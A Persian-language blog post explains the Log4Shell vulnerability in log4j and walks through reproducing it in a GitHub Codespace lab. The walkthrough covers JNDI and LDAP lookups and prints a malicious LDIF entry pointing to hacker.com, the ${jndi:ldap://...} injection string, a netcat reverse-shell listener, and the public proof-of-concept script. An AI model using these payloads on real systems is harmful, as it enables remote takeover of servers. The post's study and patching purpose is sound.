اشکان محمدی
اشکان محمدی
خواندن ۱۵ دقیقه·۳ ماه پیش

جزئیات فنی و شیوه هک کردن سایت با آسیب پذیری Log4Shell

سال 2021 موقعی که داشتم مثل همیشه کانتینر های docker ام رو روی سیستم اجرا می کردم، با یه پیام اخطار مواجه شدم که راجع به یه حمله سایبری جدید به نام log4shell هشدار میداد و میگفت باید در اسرع وقت container هامو آپدیت کنم.

تا حالا همچین چیزی ندیده بودم، سریع کروم رو باز کردم و اسمش رو جست و جو کردم. با دیدن جنب و جوش تولید کنندگان محتوا در فضای مجازی برای سبقت گرفتن از هم دیگه در اطلاع رسانی جزئیات این حمله سایبری حدس میزدم که «نه؛ انگار شوخی شوخی داره جدی میشه»

وقتی فهمیدم توی سایت CVE از لحاظ شدت وخامت نمره 10 از 10 گرفته، دیگه مطمئن شدم که ابعاد قضیه خیلی بزرگ تر از چیزی بوده که فکر می کردم. شرکت های بزرگ IT، نرم افزار های معروف و حتی برخی نهاد های دولتی تحت تاثیر موج این حمله سایبری قرار گرفته بودن.

چند تا مقاله در رابطه با جزئیات و شیوه انجام این حمله سایبری خوندم تا یه دید کلی نسبت به این موضوع پیدا کنم و وقتی فهمیدم مشکل از کجا بوده کلا دچار شوک شدم که اصلا چطور چنین چیزی ممکنه! آخه قضیه اونقدر ساده بود که باورم نمیشد کسی این همه سال متوجه چنین آسیب پذیری نشده باشه.

اون زمان به همون درک سطحیم از موضوع اکتفا کردم ولی این چند وقت بدجور به سرم زده بود که بیشتر راجع بهش تحقیق کنم. نه تنها تحقیق، بلکه حتی یه بار خودم به صورت تمرینی انجامش بدم (به یاد اون روزا که دلم می خواست هکر بشم... 😅)

قبل از هر چیز باید بگم که اگر می خواهید درکتون از قضیه بالا بره، خودتونم باید پله به پله همراهی کنید که برای این کار باید شرایط زیر رو داشته باشید:

  • یه کامپیوتر دم دست با اتصال اینترنت
  • یه اکانت github
  • تقریبا یه ساعت وقت اضافه

اگر ندارید، بهتره پست رو save کنید و بعدا بخونیدش، البته اینها همه پیشنهاد بود، دیگه خود دانید!...

خوب دیگه بریم سراغ اصل مطلب:

برنامه نویس های جاوا کار، کلا skip کنید برید بخش آخر که حوصله تون از این مقدمه چینی ها سر نره.

معرفی Naming Service

سرویس هایی هستند که اطلاعات رو با یه اسمی ذخیره می کنن و شما بعدا می تونید با اون اسم اختصاص داده شده یه lookup انجام بدید و اطلاعات رو دریافت کنید

مثلا DNS خودش یه naming service هست:

معرفی Directory Service

همون naming service هست با این تفاوت که به شما اجازه ذخیره attribute هایی بر روی object های ذخیره شده میده که بعدا می تونید از اونها برای سرچ هم استفاده کنید:

توجه کنید که یک attribute می تونه چند مقدار مختلف داشته باشه مثلا اگر داریم اطلاعات یه فردی رو وارد می کنیم که دو تا شماره همراه داره، می تونیم روی object مربوطه، دو تا attribute به نام phone_number تعریف کنیم.

میشه گفت ldap یکی از پروتوکل هایی هست که چنین سرویسی رو ارائه میده.

معرفی JNDI و ارتباطش با LDAP

در زبان برنامه نویسی جاوا، از jndi (java naming and directory interface) برای اتصال به naming service ها استفاده می شه. jndi یک واسطه برنامه نویسی جامع هست که از طریق SPI ها (Service Provider Interface) می تونه به ما امکان تعامل با naming service های متعدد رو بده.

این معماری باعث میشه که در آینده امکان افزودن SPI برای پروتوکل ها و سرویس های جدید وجود داشته باشه.

ساختار عملیات

در این بخش می خوام تمام مراحل رو به دقت و به صورت تئوری توضیح بدم که بعد بریم سراغ پیاده سازی.

سوء استفاده از مکانیزم lookup در کتابخانه log4j

هر اپلیکیشنی برای ذخیره و ضبط اتفاقاتی که حین اجرا می افته (که بهش به اصطلاح میگن logging) یه روشی داره. اکثر اپلیکیشن های جاوا از کتابخانه آماده، باسابقه و قدیمی log4j که توسط بنیاد Apache ارائه و مدام آپدیت میشه و بیشتر از دو دهه از انتشارش میگذره استفاده می کنن.

این کتابخانه امکانات خیلی زیادی ارائه میده که یکی از اونها قابلیت lookup هست. مثلا می تونید با این قابلیت، ورژن جاوایی که اپلیکیشن داره باهاش اجرا میشه رو در فایل های لاگتون ثبت کنید (تقریبا یه چیزی تو این مایه ها):

logger.error(&quotAn error happend, ${java:version}&quot);

و وقتی اروری رخ بده، log4j اینو پردازش میکنه و به جای عبارت ${java:version} عدد ورژن جاوا رو جاگذاری می کنه. البته فقط این نیست، یه لیست طویلی از همین lookup ها وجود داره که می تونید خودتون توی لینک زیر ببینید:

https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup

حالا فرض کنید سناریویی داریم که کاربر میاد لاگین کنه، رمز عبور یا نام کاربری اشتباه وارد می کنه و ما می خواهیم این رو توی فایل های لاگمون ثبت کنیم. حالا فرض کنید ما username ای که کاربر وارد کرده رو به این شکل داخل لاگ اضافه کنیم:

String username = ...; // magic, never mind (-; logger.log(&quotLogin attempt failed, username = &quot + username)

ظاهرا همه چیز عالیه نه؟ حالا فرض کنید کاربر عبارت ${java:version} رو به جای نام کاربریش بزنه اون وقت چیزی که قراره لاگ کنید میشه این:

Login attempt failed, username = ${java:version}

و همون طور که گفتم log4j این رو پردازش می کنه و تبدیلش میکنه به ورژن جاوا. یعنی ما با این مکانیزم می تونیم از تمام lookup های log4j هر طور دلمون خواست استفاده کنیم. خیلی خوب، حالا اگه به اون لیستی که بالا لینکشو گذاشتم مراجعه کنید میبینید یه چیزی داریم به نام jndi lookup و همون طور که گفتم jndi می تونه با سرور های ldap ارتباط برقرار کنه و از اونها اطلاعات رو بگیره و توی جاوا لود کنه.

حالا این چه نفعی برای ما داره؟ می تونیم با این lookup کاری کنیم که سرور قربانی به سرور ldap ما وصل بشه و کد های مخربی که ما نوشتیم رو اجرا کنه.

یه همچین lookup ای رو باید اینجوری بنویسید:

${jndi:ldap://domain.com:port/object}

در اینجا:

  • ـ ldap که پروتوکله
  • ـ domain.com هم که آدرس دامنه است (که اصلا به جاش می تونیم آدرس ip سرور ldap رو بذاریم)
  • ـ port هم که توضیح نمیخواد
  • اون object تهش هم مهم نیست، در واقع اسم entry هست که می خواهیم اطلاعاتش رو از سرور ldap بگیریم ولی سروری که ما می سازیم اصلا به این اهمیت نمیده، به ازای هر درخواستی، همیشه اطلاعات کد های مخرب ما رو به سرور قربانی ارسال می کنه
نکته: این lookup ها رو در هر گونه ورودی که امکان لاگ شدن داره می تونه قرار بگیره. یعنی فکرتون رو به username و ... محدود نکنید. بعضی header های http هم لاگ میشن مثل user agent، که می تونید توشون از همین lookup ها تزریق کنید.

مهندسی محتویات پاسخ سرور ldap

توی قسمت قبل گفتیم چطور می تونیم کاری کنیم که قربانی با سرور ldap ما ارتباط بگیره. اما حالا که ارتباط گرفت، ما چه چیزی دقیقا باید به قربانی ارسال کنیم که باعث بشه کد های مخرب ما رو لود کنه؟

سرور های ldap، یه فرمت مشخصی برای ارسال و دریافت اطلاعات دارن که بهش میگن:

ldif (LDAP Data Interchange Format)

ما باید یه entry با فرمت ldif به این شکل در جواب سرور قربانی ارسال کنیم:

dn: o=MyExploit, dc=example, dc=com objectClass: javaNamingReference javaClassName: MyExploitClass javaFactory: http://hacker.com/MyExploitClass

راجع به خط اول باید بگم که چیز مهمی نیست، مکانیزمی هست که سرور های ldap برای پیدا کردن entry هاشون استفاده می کنن (یعنی این entry که اسمشم MyExploit هست توی کانتکست com و در زیرکانتکست example قرار داره)

برای مثال از اینکه context چیه این تصویر رو ببینید خودتون متوجه میشید:

بقیه قسمت ها هم attribute های این entry هستند که باید راجع بهشون بحث کنیم:

ـ objectClass: javaNamingReference = این خط خیلی خیلی مهمه. جاوا وقتی این رو دریافت می کنه، از طریق این attribute متوجه میشه که attribute های این entry مال کلاس javax.naming.Reference هستند. یعنی باید از اطلاعات توش برای سر هم کردن یه Reference استفاده کنه.

یه Reference در جاوا، خود داده های serialize شدهء کلاس رو نداره اما اطلاعاتی داره که نشون میده اون کلاس رو باید چطوری ایجادش کرد (مثل آدرس محل کد های کلاس factory ـِ سازندهء اون کلاس و اسم اون کلاس و ...)

بهتون پیشنهاد می کنم حتماِ حتما همین الان یه نگاه به این لینک بندازید و تمام method ها و property هاشو ببینید که ابهاماتتون برطرف بشه:

https://docs.oracle.com/javase/7/docs/api/javax/naming/Reference.html

بعد از سر هم کردن Reference، جاوا از یک کلاسِ factory استفاده میکنه تا کلاس گفته شده در Reference رو بسازه. factory یه کلاس هست که تخصصش ایجاد یه کلاس دیگه است (میدونم یکم پیچیده شد 🤣: کلاسی که می خواد ایجاد بشه شاید یه سری پارامتر و کانفیگ داشته باشه که جاوا ازش بی خبره پس یه کلاس دیگه به عنوان factory نیازه که بدونه چطوری این پارامتر ها رو هنگام instantiation تنظیم کنه)

ـ javaClassName: MyExploit = اصلا چیز مهمی نیست، صرفا اسم اون کلاسی هست که factory قراره اون رو بسازه. ضمنا جاوا بهش هیچ اهمیتی نمیده. فقط کلاس factory ممکنه بخواد ازش استفاده کنه که بفهمه ازش انتظار دارن چه چیزی دقیقا تولید کنه و تحویل بده.

ـ javaFactory: http://hacker.com/MyExploitClass = کلید اصلی حمله ما همینه. در حالت عادی، این باید مقدارش اسم یه کلاس جاوا یا لینک به یک فایل class. جاوا باشه که قراره کلاس نام برده شده در javaClassName رو ایجاد کنه. این کلاس باید اینترفیسِ javax.naming.spi.ObjectFactory رو پیاده سازی کنه که متدی به نام getObjectInstance داره. این کلاس باید از طریق این متد یه instance از اون کلاس نام برده شده در javaClassName تحویل بده (البته این قراردادی هست و همون طور که گفتم javaClassName اهمیتی نداره و در واقعیت این factory می تونه هرچی دلش خواست تحویل بده)

در دسترس قرار دادن bytecode کلاس مخرب از طریق سرور http

باید یه سرور http هم راه بندازیم که سرور قربانی بتونه از طریق آدرسی که توی attribute ـِ javaFactory قرار دادیم کد های مخرب ما رو دانلود کنه. این قسمتش نکته خاصی نداره فقط اینکه وقتی شما چنین چیزی بهش میدید:

http://hacker.com/MyExploitClass

درخواست http برای همچین فایلی میاد:

http://hacker.com/MyExploitClass.class

به اون پسوند class آخرش دقت کنید که فرمت کلاس های کامپایل شدهء جاواست.

در این پست برنامه مون اینه که این کد بتونه با اتصال به netcat به ما دسترسی shell بده.

استفاده از netcat برای reverse shell

قراره یه listerner ـِ netcat راه بندازیم و منتظر بمونیم تا قربانی کد های مخرب ما رو اجرا کنه و اون وقت یه اتصال از طرف قربانی روی netcat دریافت کنیم.

خوب دیگه تئوری تموم شد، بریم عملا انجامش بدیم

پیاده سازی عملی سناریو

چون خیلی حال و حوصله و البته وقت نداشتم، چند تا سرچ گوگل زدم و یه repository پیدا کردم که شامل یه POC برای این آسیب پذیری بود. (Proof of Concept = کدی هست که نشون میده فلان آسیب پذیری امنیتی از نظر عملی هم قابلیت پیاده سازی و پتانسیل تخریب داره)

https://github.com/kozmer/log4j-shell-poc

ایجاد یک CodeSpace در github

برای اینکه سیستم خودتون رو شلوغ نکنید و دردسر نصب ابزار ها رو نکشید، می تونید از codespace های گیتهاب استفاده کنید. اول وارد اکانت github تون بشید و یه codespace برا خودتون ایجاد کنید:

بعدش باید با یه همچین صحنه ای مواجه بشید:

راه اندازی اپلیکیشن آسیب پذیر

این repository دارای dockerfile هست که باهاش می تونید یه image از اپلیکیشن تون بسازید:

docker build -t log4j-shell-poc .

بعد از اتمام، در یک کانتینرِ داکر image رو اجرا کنید:

docker run --network host log4j-shell-poc

اون قسمت network host-- باعث میشه که شبکه داخل کانتیر با شبکه هاست (که همون سیستم لینوکسی هست که گیتهاب در اختیارتون گذاشته) یکی بشه. یعنی مثلا اگه یه اپلیکیشنی روی فلان پورت کانتینر اجرا بشه، نیازی به port mapping ندارید، چون اون پورت مستقیما روی ip هاست قابل دسترسی خواهد بود.

اجرا کردن این دستور، یه وب اپلیکیشن جاوا رو روی پورت 8080 اجرا می کنه. توی تبِ ports، شماره این پورت رو اضافه و public اش کنید:

نتایج پس از اجرای اپلیکیشن جاوا
نتایج پس از اجرای اپلیکیشن جاوا
افزودن پورت
افزودن پورت
پابلیک کردن پورت
پابلیک کردن پورت

حالا با نگهداشتن کلید ctrl، روی اون لینک آبی رنگ زیر ستون Forwarded Address کلیک کنید تا وارد فرم لاگین اپلیکیشن بشید:

صفحه لاگین خوشگل و زیبا
صفحه لاگین خوشگل و زیبا

توضیح: این اپلیکیشن فقط یه فرم لاگین داره، اگه username و password رو درست وارد کنید وارد کنید بهتون خوش آمد میگه و در غیر این صورت username اشتباهی که وارد کردید رو با log4j لاگ می کنه:

کد هاشو آوردم که دقیق بگیرید چی میگم.
کد هاشو آوردم که دقیق بگیرید چی میگم.

راه اندازی netcat

برای اینکه بتونیم از قربانی اتصال دریافت کنیم، باید یه listener ـِ netcat راه بندازیم. ما این کار رو روی پورت 9001 انجام خواهیم داد. اول یه terminal دیگه باز کنید:

حالا باید netcat رو نصب کنید:

sudo apt update sudo apt install netcat

و بعد این دستور رو بزنید تا netcat اجرا بشه:

nc -lvnp 9001

حالا اگه قربانی به ip ما و پورت 9001 متصل بشه، می تونیم با netcat براش دستورات رو بفرستیم.

راه اندازی سرور ldap و آماده سازی exploit

این بنده خدایی که کد های این repository رو نوشته، یه فایلی آماده کرده به نام poc.py که یه اسکریپت پایتونه. این اسکریپت آدرس ip و port مربوط به netcat رو میگیره و کار های زیر رو انجام میده:

1. یه اکسپلویتِ جاوا براش می نویسه و اون رو کامپایل می کنه. البته توجه کنید که باید کد ها رو با jdk ورژن 20_1.8.0 کامپایل کنید.

همون طور که می بینید یه کلاس جاوا هست که متغیر userip و lport توش جاگذاری میشن. userip همون ip سروری هست که netcat روش اجرا شده و lport هم همون listening port هست که netcat روی اون پورت منتظر دریافت اتصاله.

نکته: همون طور که میبینید، در ادامه قراره این کلاس به یک فایل نوشته بشه و بعد کامپایل بشه. اسکریپت فرض کرده که کامپایلر جاوا در فولدری به نام jdk1.8.0_20 در کنار فایل script قرار داره. در ادامه قراره این jdk رو دانلود کنیم و دقیقا همون جایی که اسکریپت میخواد با همون اسم قرارش بدیم.

این کلاس جاوا، کاری که انجام میده اینه که یه اتصال روی پورت گفته شده باز می کنه و فایل bin/sh رو توی یک پروسه باز می کنه. این برنامه اجازه اجرای دستورات سیستمی لینوکس رو میده. حالا ورودی پروسه رو به خروجی socket وصل میکنه و خروجی پروسه رو به ورودی socket. این طوری می تونیم یه ارتباط پینگ پنگی با سرور قربانی داشته باشیم و هم دستور رو اجرا کنیم و هم نتیجه دستور برامون ارسال بشه.

2. یه سرور ldap با استفاده از marshalsec راه میندازه

در واقع marshalsec یه پروژه تحقیقاتیه که انواع exploit های ممکن برای jndi injection رو داره. یکی از اون exploit ها LDAPRefServer هست. که در جواب ریکوئست های ldap این طور جواب میده (سورس کدشو از گیتهاب آوردم):

تیکه مهمش اینه
تیکه مهمش اینه

همون طور که می بینید، همون attribute هایی که قبلا بهتون توضیح دادم رو داره تنظیم می کنه.

اگر توجه کنید اسکریپت poc.py ما داره یه پارامتر دیگه به اسم url هم به LDAPReferenceServer میده که این شکلیه:

url = &quothttp://{}:{}/#Exploit&quot.format(userip, lport)

اول از همه userip که همون آدرس سرورِ هکر هست (همونی که اتفاقا netcat هم داره روش اجرا میشه) ولی lport دیگه port مربوط به netcat نیست. فقط شباهت اسمیه. یکم برسی کنید میبینید lport در واقع آدرس یه پورت دیگه است که باید به اسکریپت بدید تا یه سرور http با پایتون روش راه بندازه:

میبینید که در واقع یه پارامتر دیگه ای به نام webport داره به تابع ldap_server داده میشه که همون webport به HTTPServer ـِ پایتون برای اجرای سرور http داده شده.

ولی حالا توی این خط:

url = &quothttp://{}:{}/#Exploit&quot.format(userip, lport)

ماجرای اون Exploit# آخرش چیه؟ چیز خاصی نیست. فرمتی هست که LDAPReferenceServer استفاده می کنه برای جدا کردن اسم فایل کلاس جاوا از بقیه آدرس:

$ java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

می تونید جزئیاتش رو اینجا ببینید

نکته: میبینید که آخرش یه پارامتر اختیاری port هم داریم، اگه وجود نداشته باشه پیشفرضش 1389 هست. یعنی سرور ldap خودش روی پورت 1389 داره اجرا میشه.

حالا که کامل فهمیدید جریان از چه قراره، بیاید اول کار های jdk رو انجام بدیم:

  • با دستور اول فایل tar اش رو دانلود می کنیم
  • با دستور دوم آرشیو استخراج میشه
  • توجه کنید چون ورژن فایل با ورژن در نظر گرفته شده توی script یه تفاوت کوچولویی داره با دستور سوم اسم فولدر استخراج شده رو عوض می کنیم تا با اسم داخل اسکریپت poc.py بخونه
$ wget https://javadl.oracle.com/webapps/download/GetFile/1.8.0_321-b07/df5ad55fdd604472a86a45a217032c7d/linux-i586/jdk-8u321-linux-x64.tar.gz $ tar -xf jdk-8u321-linux-x64.tar.gz $ mv jdk1.8.0_321 jdk1.8.0_20

و حالا آماده ایم برای اجرای کد اسکریپت

python3 poc.py --userip localhost --webport 8000 --lport 9001

با اینکه تمام پارامتر ها رو قبلا توضیح دادم، یه بار دیگه اینجا به صورت جامع خدمتتون عرض می کنم:

ـ userip: همون آدرس سرورِ هکر هست که قربانی باید بهش وصل بشه

ـ webport: پورتی هست که قراره سرور http پایتون روش اجرا بشه

ـ lport: پورتی هست که netcat داره روش اجرا میشه.

در نهایت، سرور ldap پارامتری برای تنظیم پورت نداره و از همون پورت پیشفرض 1389 استفاده میکنه.

فقط لیست پورت هاتون رو چک کنید که این شکلی باشه:

حالا دیگه همه چیز آماده است. اون عبارتی که توی یک عکس بالاتر قرمزش کردم رو کپی کنید:

${jndi:ldap://localhost:1389/a}

بعد وارد همون فرم لاگین بشید و واردش کنید. بعد هم ورود رو بزنید:

می بینید که انگار اپلیکیشن هنگ کرده و جلو تر نمیره. این یعنی exploit ما درست عمل کرده و الان netcat باید از قربانی یه اتصال دریافت کرده باشه. برای تست دستور ls رو وارد می کنیم:

همون طور که می بینید، فایل های داخل سرور قربانی رو به ما نشون میده و ما از اینجا به بعد کنترل سرور قربانی رو در اختیار داریم.

آسیب پذیری های مرتبط

بعد از کشف این آسیب پذیری، با سماجت هکر ها و تیم های امنیتی دو تا CVE دیگه هم که مربوط به log4shell میشن هم پیدا و منتشر شد که می تونید توی لینک های زیر راجع بهشون بخونید:

اقدامات امنیتی برای رفع این آسیب پذیری

کتابخانه log4j الان به صورت پیشفرض jndi lookup رو غیر فعال کرده و شنیده ام که مکانیزمی پیاده سازی شده که اجازه لود کردن کلاس ها از سرور هایی که در white list ـِ اپلیکیشن قرار ندارن جلوگیری می کنه.

به برنامه نویس ها هم توصیه شده که patch های مربوط به log4j رو حتما نصب کنن و نرم افزار هاشون رو آپدیت نگه دارن. البته الان که دیگه همه ازش خبر دارن، تقریبا همه این آسیب پذیری رو برطرف کرده اند.



خوب به انتهای پست مون رسیدیم، امیدوارم که براتون مفید بوده باشه و به درکتون اضافه کرده باشه. اگه از این پست خوشتون اومد لطفا با دوستان، آشنا ها و همکاراتون هم که فکر می کنید به هک و امنیت علاقه دارن به اشتراک بگذارید.

به پست های دیگه منم سری بزنید 😁😁 - خیلی ممنون از زمانی که گذاشتید، تا پست بعدی در پناه خدا

حمله سایبریبرنامه نویسیهک و امنیتپایتون
یه برنامه نویس ساده که از تجربیات و آموخته هاش می نویسه
شاید از این پست‌ها خوشتان بیاید